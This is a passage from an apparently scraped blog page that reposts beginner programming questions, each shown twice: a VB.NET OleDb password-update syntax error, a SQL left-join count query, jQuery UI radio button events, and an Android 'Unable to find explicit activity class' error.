Private Sub cbxShowchar_CheckedChanged(ByVal sender As System.Object,
ByVal e As System.EventArgs) Handles cbxShowchar.CheckedChanged
If cbxShowchar.Checked = True Then
txtNewpassword.PasswordChar = ""
txtVNewpassword.PasswordChar = ""
Else
txtNewpassword.PasswordChar = "*"
txtVNewpassword.PasswordChar = "*"
End If
End Sub
Private Sub btnPrevious_Click(ByVal sender As System.Object, ByVal e As
System.EventArgs) Handles btnPrevious.Click
Me.Close()
Form2.Show()
End Sub
Private Sub ResetPW_Load(ByVal sender As System.Object, ByVal e As
System.EventArgs) Handles MyBase.Load
dbProvider = "PROVIDER=Microsoft.ACE.OLEDB.12.0;"
dbSource = "DATA Source = C:\Users\Luke\Dropbox\FdSc Computing\Year
2\Project\Product\Book Database.accdb"
con.ConnectionString = dbProvider & dbSource
con.Open()
sql = "SELECT * FROM T_Users"
da = New OleDb.OleDbDataAdapter(Sql, con)
da.Fill(ds, "Users")
MsgBox("The database is now open")
con.Close()
MsgBox("The database is now closed")
End Sub
Private Sub btnReset_Click(ByVal sender As System.Object, ByVal e As
System.EventArgs) Handles btnReset.Click
If txtNewpassword.Text = txtVNewpassword.Text Then
Dim cb As New OleDb.OleDbCommandBuilder(da)
ds.Tables("Users").Rows(0).Item(4) = txtNewpassword.Text
da.Update(ds, "Users") 'ERROR HAPPENS HERE'
MsgBox("Password Reset", vbInformation)
Else
MsgBox("The passwords do not match", vbExclamation)
End If
End Sub
End Class
Would be very grateful for any help thanks guys!
Hi I am a beginner at databases with vb.net and am trying to update a
password(field) in a database and I keep getting an error
"Syntax error in query expression '((UID = ?) AND ((? = 1 AND Username IS
NULL) OR (Username = ?)) AND ((? = 1 AND Firstname} IS NULL) OR
(Firstname} = ?)) AND ((? = 1 AND Surname IS NULL) OR (Surname = ?)) AND
((? = 1 AND UPassword IS NULL) OR (UPassword = ?)) AND ((? = 1 AND DOB IS
NULL)'."
here is the code for the form It corresponds to and happens when the reset
button is clicked.
Public Class ResetPW
Dim con As New OleDb.OleDbConnection
Dim ds As New DataSet
Dim sql As String
Dim dbProvider As String
Dim dbSource As String
Dim da As New OleDb.OleDbDataAdapter
Private Sub cbxShowchar_CheckedChanged(ByVal sender As System.Object,
ByVal e As System.EventArgs) Handles cbxShowchar.CheckedChanged
If cbxShowchar.Checked = True Then
txtNewpassword.PasswordChar = ""
txtVNewpassword.PasswordChar = ""
Else
txtNewpassword.PasswordChar = "*"
txtVNewpassword.PasswordChar = "*"
End If
End Sub
Private Sub btnPrevious_Click(ByVal sender As System.Object, ByVal e As
System.EventArgs) Handles btnPrevious.Click
Me.Close()
Form2.Show()
End Sub
Private Sub ResetPW_Load(ByVal sender As System.Object, ByVal e As
System.EventArgs) Handles MyBase.Load
dbProvider = "PROVIDER=Microsoft.ACE.OLEDB.12.0;"
dbSource = "DATA Source = C:\Users\Luke\Dropbox\FdSc Computing\Year
2\Project\Product\Book Database.accdb"
con.ConnectionString = dbProvider & dbSource
con.Open()
sql = "SELECT * FROM T_Users"
da = New OleDb.OleDbDataAdapter(Sql, con)
da.Fill(ds, "Users")
MsgBox("The database is now open")
con.Close()
MsgBox("The database is now closed")
End Sub
Private Sub btnReset_Click(ByVal sender As System.Object, ByVal e As
System.EventArgs) Handles btnReset.Click
If txtNewpassword.Text = txtVNewpassword.Text Then
Dim cb As New OleDb.OleDbCommandBuilder(da)
ds.Tables("Users").Rows(0).Item(4) = txtNewpassword.Text
da.Update(ds, "Users") 'ERROR HAPPENS HERE'
MsgBox("Password Reset", vbInformation)
Else
MsgBox("The passwords do not match", vbExclamation)
End If
End Sub
End Class
Would be very grateful for any help thanks guys!
bring all categories of data using where
bring all categories of data using where
I have two related tables, data(no, name, citycode, age) and city(code, city)
Table city
+------+------------+
| code | city |
+------+------------+
| A1 | Jakarta |
| A2 | Bali |
| A3 | Semarang |
| A4 | Surabaya |
| C1 | Dili |
| C2 | Jayapura |
| C3 | Yogyakarta |
| C4 | Bandung |
+------+------------+
Table Data
+----+--------+----------+------+
| no | name | citycode | age |
+----+--------+----------+------+
| 1 | Ony | A3 | 27 |
| 2 | Abri | A3 | 28 |
| 3 | Denny | C4 | 27 |
| 4 | Febri | C1 | 27 |
| 5 | Galih | C3 | 28 |
| 6 | Yulia | A2 | 26 |
| 7 | Zening | A1 | 25 |
+----+--------+----------+------+
I want to count the number of employees who are age 27 by city
my query :
select city.city , count(data.name) as Nmb_of_employees
from city
left join
data on data.citycode = city.code
where data.age = 27
group by city.city;
The result
+----------+------------------+
| city | Nmb_of_employees |
+----------+------------------+
| Bandung | 1 |
| Dili | 1 |
| Semarang | 1 |
+----------+------------------+
but the result I want is like this
+------------+------------------+
| city | Nmb_of_employees |
+------------+------------------+
| Jakarta | 0 |
| Bali | 0 |
| Semarang | 1 |
| Surabaya | 0 |
| Dili | 1 |
| Jayapura | 0 |
| Yogyakarta | 0 |
| Bandung | 1 |
+------------+------------------+
what query should I use for the results as above ?
I have two related tables, data(no, name, citycode, age) and city(code, city)
Table city
+------+------------+
| code | city |
+------+------------+
| A1 | Jakarta |
| A2 | Bali |
| A3 | Semarang |
| A4 | Surabaya |
| C1 | Dili |
| C2 | Jayapura |
| C3 | Yogyakarta |
| C4 | Bandung |
+------+------------+
Table Data
+----+--------+----------+------+
| no | name | citycode | age |
+----+--------+----------+------+
| 1 | Ony | A3 | 27 |
| 2 | Abri | A3 | 28 |
| 3 | Denny | C4 | 27 |
| 4 | Febri | C1 | 27 |
| 5 | Galih | C3 | 28 |
| 6 | Yulia | A2 | 26 |
| 7 | Zening | A1 | 25 |
+----+--------+----------+------+
I want to count the number of employees who are age 27 by city
my query :
select city.city , count(data.name) as Nmb_of_employees
from city
left join
data on data.citycode = city.code
where data.age = 27
group by city.city;
The result
+----------+------------------+
| city | Nmb_of_employees |
+----------+------------------+
| Bandung | 1 |
| Dili | 1 |
| Semarang | 1 |
+----------+------------------+
but the result I want is like this
+------------+------------------+
| city | Nmb_of_employees |
+------------+------------------+
| Jakarta | 0 |
| Bali | 0 |
| Semarang | 1 |
| Surabaya | 0 |
| Dili | 1 |
| Jayapura | 0 |
| Yogyakarta | 0 |
| Bandung | 1 |
+------------+------------------+
what query should I use for the results as above ?
How to add events on Jquery UI button
How to add events on Jquery UI button
I have a question on how to use Jquery UI.
This is my first time that I try Jquery UI and I could add a button by
using Jquery UI button.
Now, I'd like to add events when the radio is switched on and off.
How could I add events to Jquery UI button?
Thanks in advance !!
output
javascript
$(function(){
$('input[type=radio]').button();
$('.set').buttonset();
})
html
<div class="set">
<input type="radio" name="radio" id="radio1"><label for="radio1"
/>ON</label>
<input type="radio" name="radio" id="radio2"><label for="radio2"
/>OFF</label>
</div>
I have a question on how to use Jquery UI.
This is my first time that I try Jquery UI and I could add a button by
using Jquery UI button.
Now, I'd like to add events when the radio is switched on and off.
How could I add events to Jquery UI button?
Thanks in advance !!
output
javascript
$(function(){
$('input[type=radio]').button();
$('.set').buttonset();
})
html
<div class="set">
<input type="radio" name="radio" id="radio1"><label for="radio1"
/>ON</label>
<input type="radio" name="radio" id="radio2"><label for="radio2"
/>OFF</label>
</div>
Wednesday, 11 September 2013
how to Fix Unable to find explicit activity class
how to Fix Unable to find explicit activity class
public class MultiColumnActivity extends Activity implements
OnClickListener {
private ArrayList<HashMap<String, String>> list;
Button filterButton;
Context context = this;
ListView lview;
// GridView lview;
final CharSequence[] items = { "Select all", " Date ", " Location to ",
" Client Name ", " Product code ", "Product Description",
"Location from", "Quantity", "Pallets" };
protected ArrayList<CharSequence> selectedInterests = new
ArrayList<CharSequence>();
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.main);
init();
}
private void init() {
// lview = (GridView) findViewById(R.id.listview);
lview = (ListView) findViewById(R.id.listview);
filterButton = (Button) findViewById(R.id.filterbutton);
filterButton.setOnClickListener(this);
populateList();
listviewAdapter adapter = new listviewAdapter(this, list);
lview.setAdapter(adapter);
int lm = lview.getCount();
System.out.println(lm);
}
private void populateList() {
list = new ArrayList<HashMap<String, String>>();
HashMap<String, String> temp = new HashMap<String, String>();
temp.put(FIRST_COLUMN, "DATE");
temp.put(SECOND_COLUMN, "LOCATION TO");
temp.put(THIRD_COLUMN, "CLIENT NAME");
temp.put(FOURTH_COLUMN, "PRODUCT CODE");
temp.put(FIFTH_COLUMN, "PRODUCT DESCRIPTION");
temp.put(SIXTH_COLUMN, "LOCATION FROM");
temp.put(SEVENTH_COLUMN, "QUANTITY");
temp.put(EIGTH_COLUMN, "PALLETS");
list.add(temp);
HashMap<String, String> temp1 = new HashMap<String, String>();
temp1.put(FIRST_COLUMN, "7 / 2 / 2013");
temp1.put(SECOND_COLUMN, "SW00-000");
temp1.put(THIRD_COLUMN, "Mercury Direct");
temp1.put(FOURTH_COLUMN, "MERCUR-A5WW2013-491-000-000-Loose");
temp1.put(FIFTH_COLUMN, "A5 WORLDWIDE HOLS 13 C");
temp1.put(SIXTH_COLUMN, "Warehouse");
temp1.put(SEVENTH_COLUMN, " 5000");
temp1.put(EIGTH_COLUMN, "1");
list.add(temp1);
HashMap<String, String> temp2 = new HashMap<String, String>();
temp2.put(FIRST_COLUMN, "7 / 2 / 2013");
temp2.put(SECOND_COLUMN, "DAH22A");
temp2.put(THIRD_COLUMN, "Hurtigruten Ltd");
temp2.put(FOURTH_COLUMN, "HURTI-NORWY13-000-000-000-10");
temp2.put(FIFTH_COLUMN, "NORWAY 2013");
temp2.put(SIXTH_COLUMN, "ShrinkWrap");
temp2.put(SEVENTH_COLUMN, " 4000");
temp2.put(EIGTH_COLUMN, "1");
list.add(temp2);
HashMap<String, String> temp3 = new HashMap<String, String>();
temp3.put(FIRST_COLUMN, "7 / 2 / 2013");
temp3.put(SECOND_COLUMN, "DAH22A/02");
temp3.put(THIRD_COLUMN, "Hurtigruten Ltd");
temp3.put(FOURTH_COLUMN, "HURTI-NORWY13-000-000-000-10");
temp3.put(FIFTH_COLUMN, "NORWAY 2013");
temp3.put(SIXTH_COLUMN, "ShrinkWrap");
temp3.put(SEVENTH_COLUMN, " 4000");
temp3.put(EIGTH_COLUMN, "1");
list.add(temp3);
HashMap<String, String> temp4 = new HashMap<String, String>();
temp4.put(FIRST_COLUMN, "7 / 2 / 2013");
temp4.put(SECOND_COLUMN, "DAH22A/02");
temp4.put(THIRD_COLUMN, "Hurtigruten Ltd");
temp4.put(FOURTH_COLUMN, "HURTI-NORWY13-000-000-000-10");
temp4.put(FIFTH_COLUMN, "NORWAY 2013");
temp4.put(SIXTH_COLUMN, "ShrinkWrap");
temp4.put(SEVENTH_COLUMN, " 4000");
temp4.put(EIGTH_COLUMN, "1");
list.add(temp4);
}
@Override
public void onClick(View v) {
switch (v.getId()) {
case R.id.filterbutton: {
showDialog();
break;
}
default:
break;
}
}
private void showDialog() {
// arraylist to keep the selected items
final ArrayList seletedItems = new ArrayList();
AlertDialog.Builder builder = new AlertDialog.Builder(this);
builder.setTitle("Select The Fields");
/*
* boolean[] checkedInterests = new boolean[items.length]; int
count =
* items.length;
*
* for (int i = 0; i < count; i++) { checkedInterests[i] =
* selectedInterests .contains(items[i]);
*
* }
*/
builder.setMultiChoiceItems(items, null,
new DialogInterface.OnMultiChoiceClickListener() {
// indexSelected contains the index of item (of which
// checkbox checked)
@Override
public void onClick(DialogInterface dialog,
int indexSelected, boolean isChecked) {
if (isChecked) {
// If the user checked the item, add it to the
// selected items
// write your code when user checked the checkbox
seletedItems.add(indexSelected);
selectedInterests.add(items[indexSelected]);
// by
//
anup
} else if (seletedItems.contains(indexSelected)) {
// Else, if the item is already in the array,
remove
// it
// write your code when user Uchecked the
checkbox
seletedItems.remove(Integer.valueOf(indexSelected));
}
onChangeSelectedSelection();
}
})
// Set the action buttons
.setPositiveButton("OK", new
DialogInterface.OnClickListener() {
@Override
public void onClick(DialogInterface dialog, int id) {
// Your code when user clicked on OK
// You can write the code to save the selected
item here
}
})
.setNegativeButton("Cancel",
new DialogInterface.OnClickListener() {
@Override
public void onClick(DialogInterface dialog,
int id) {
// Your code when user clicked on Cancel
}
});
AlertDialog dialog = builder.create();
dialog = builder.create();// AlertDialog dialog; create like this
// outside onClick
dialog.show();
}
protected void onChangeSelectedSelection() {
StringBuilder stringBuilder = new StringBuilder();
for (CharSequence selection : selectedInterests)
stringBuilder.append(selection + ",");
// filterButton.setText(stringBuilder.toString());
String input = selectedInterests.toString();
System.out.println(input);
if (input.contains("Date")) {
Intent intent = new Intent();
intent.setClassName("com.nous.demoexample",
"com.nous.demoexample.Dateactvity");
startActivity(intent);
}
}
}
second class:
public class Dateactvity extends Activity{
@Override
protected void onCreate(Bundle savedInstanceState) {
// TODO Auto-generated method stub
super.onCreate(savedInstanceState);
setContentView(R.layout.date);
}
}
manifies file code :
<application android:name=".Dateactvity"></application>
This Error is coming.
09-12 10:58:34.253: E/AndroidRuntime(275):
android.content.ActivityNotFoundException: Unable to find explicit
activity class {com.nous.demoexample/com.nous.demoexample.Dateactvity};
have you declared this activity in your AndroidManifest.xml?
public class MultiColumnActivity extends Activity implements
OnClickListener {
private ArrayList<HashMap<String, String>> list;
Button filterButton;
Context context = this;
ListView lview;
// GridView lview;
final CharSequence[] items = { "Select all", " Date ", " Location to ",
" Client Name ", " Product code ", "Product Description",
"Location from", "Quantity", "Pallets" };
protected ArrayList<CharSequence> selectedInterests = new
ArrayList<CharSequence>();
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.main);
init();
}
private void init() {
// lview = (GridView) findViewById(R.id.listview);
lview = (ListView) findViewById(R.id.listview);
filterButton = (Button) findViewById(R.id.filterbutton);
filterButton.setOnClickListener(this);
populateList();
listviewAdapter adapter = new listviewAdapter(this, list);
lview.setAdapter(adapter);
int lm = lview.getCount();
System.out.println(lm);
}
private void populateList() {
list = new ArrayList<HashMap<String, String>>();
HashMap<String, String> temp = new HashMap<String, String>();
temp.put(FIRST_COLUMN, "DATE");
temp.put(SECOND_COLUMN, "LOCATION TO");
temp.put(THIRD_COLUMN, "CLIENT NAME");
temp.put(FOURTH_COLUMN, "PRODUCT CODE");
temp.put(FIFTH_COLUMN, "PRODUCT DESCRIPTION");
temp.put(SIXTH_COLUMN, "LOCATION FROM");
temp.put(SEVENTH_COLUMN, "QUANTITY");
temp.put(EIGTH_COLUMN, "PALLETS");
list.add(temp);
HashMap<String, String> temp1 = new HashMap<String, String>();
temp1.put(FIRST_COLUMN, "7 / 2 / 2013");
temp1.put(SECOND_COLUMN, "SW00-000");
temp1.put(THIRD_COLUMN, "Mercury Direct");
temp1.put(FOURTH_COLUMN, "MERCUR-A5WW2013-491-000-000-Loose");
temp1.put(FIFTH_COLUMN, "A5 WORLDWIDE HOLS 13 C");
temp1.put(SIXTH_COLUMN, "Warehouse");
temp1.put(SEVENTH_COLUMN, " 5000");
temp1.put(EIGTH_COLUMN, "1");
list.add(temp1);
HashMap<String, String> temp2 = new HashMap<String, String>();
temp2.put(FIRST_COLUMN, "7 / 2 / 2013");
temp2.put(SECOND_COLUMN, "DAH22A");
temp2.put(THIRD_COLUMN, "Hurtigruten Ltd");
temp2.put(FOURTH_COLUMN, "HURTI-NORWY13-000-000-000-10");
temp2.put(FIFTH_COLUMN, "NORWAY 2013");
temp2.put(SIXTH_COLUMN, "ShrinkWrap");
temp2.put(SEVENTH_COLUMN, " 4000");
temp2.put(EIGTH_COLUMN, "1");
list.add(temp2);
HashMap<String, String> temp3 = new HashMap<String, String>();
temp3.put(FIRST_COLUMN, "7 / 2 / 2013");
temp3.put(SECOND_COLUMN, "DAH22A/02");
temp3.put(THIRD_COLUMN, "Hurtigruten Ltd");
temp3.put(FOURTH_COLUMN, "HURTI-NORWY13-000-000-000-10");
temp3.put(FIFTH_COLUMN, "NORWAY 2013");
temp3.put(SIXTH_COLUMN, "ShrinkWrap");
temp3.put(SEVENTH_COLUMN, " 4000");
temp3.put(EIGTH_COLUMN, "1");
list.add(temp3);
HashMap<String, String> temp4 = new HashMap<String, String>();
temp4.put(FIRST_COLUMN, "7 / 2 / 2013");
temp4.put(SECOND_COLUMN, "DAH22A/02");
temp4.put(THIRD_COLUMN, "Hurtigruten Ltd");
temp4.put(FOURTH_COLUMN, "HURTI-NORWY13-000-000-000-10");
temp4.put(FIFTH_COLUMN, "NORWAY 2013");
temp4.put(SIXTH_COLUMN, "ShrinkWrap");
temp4.put(SEVENTH_COLUMN, " 4000");
temp4.put(EIGTH_COLUMN, "1");
list.add(temp4);
}
@Override
public void onClick(View v) {
switch (v.getId()) {
case R.id.filterbutton: {
showDialog();
break;
}
default:
break;
}
}
private void showDialog() {
// arraylist to keep the selected items
final ArrayList seletedItems = new ArrayList();
AlertDialog.Builder builder = new AlertDialog.Builder(this);
builder.setTitle("Select The Fields");
/*
* boolean[] checkedInterests = new boolean[items.length]; int
count =
* items.length;
*
* for (int i = 0; i < count; i++) { checkedInterests[i] =
* selectedInterests .contains(items[i]);
*
* }
*/
builder.setMultiChoiceItems(items, null,
new DialogInterface.OnMultiChoiceClickListener() {
// indexSelected contains the index of item (of which
// checkbox checked)
@Override
public void onClick(DialogInterface dialog,
int indexSelected, boolean isChecked) {
if (isChecked) {
// If the user checked the item, add it to the
// selected items
// write your code when user checked the checkbox
seletedItems.add(indexSelected);
selectedInterests.add(items[indexSelected]);
// by
//
anup
} else if (seletedItems.contains(indexSelected)) {
// Else, if the item is already in the array,
remove
// it
// write your code when user Uchecked the
checkbox
seletedItems.remove(Integer.valueOf(indexSelected));
}
onChangeSelectedSelection();
}
})
// Set the action buttons
.setPositiveButton("OK", new
DialogInterface.OnClickListener() {
@Override
public void onClick(DialogInterface dialog, int id) {
// Your code when user clicked on OK
// You can write the code to save the selected
item here
}
})
.setNegativeButton("Cancel",
new DialogInterface.OnClickListener() {
@Override
public void onClick(DialogInterface dialog,
int id) {
// Your code when user clicked on Cancel
}
});
AlertDialog dialog = builder.create();
dialog = builder.create();// AlertDialog dialog; create like this
// outside onClick
dialog.show();
}
protected void onChangeSelectedSelection() {
StringBuilder stringBuilder = new StringBuilder();
for (CharSequence selection : selectedInterests)
stringBuilder.append(selection + ",");
// filterButton.setText(stringBuilder.toString());
String input = selectedInterests.toString();
System.out.println(input);
if (input.contains("Date")) {
Intent intent = new Intent();
intent.setClassName("com.nous.demoexample",
"com.nous.demoexample.Dateactvity");
startActivity(intent);
}
}
}
second class:
public class Dateactvity extends Activity{
@Override
protected void onCreate(Bundle savedInstanceState) {
// TODO Auto-generated method stub
super.onCreate(savedInstanceState);
setContentView(R.layout.date);
}
}
manifies file code :
<application android:name=".Dateactvity"></application>
This Error is coming.
09-12 10:58:34.253: E/AndroidRuntime(275):
android.content.ActivityNotFoundException: Unable to find explicit
activity class {com.nous.demoexample/com.nous.demoexample.Dateactvity};
have you declared this activity in your AndroidManifest.xml?
Subscribe to:
Comments (Atom)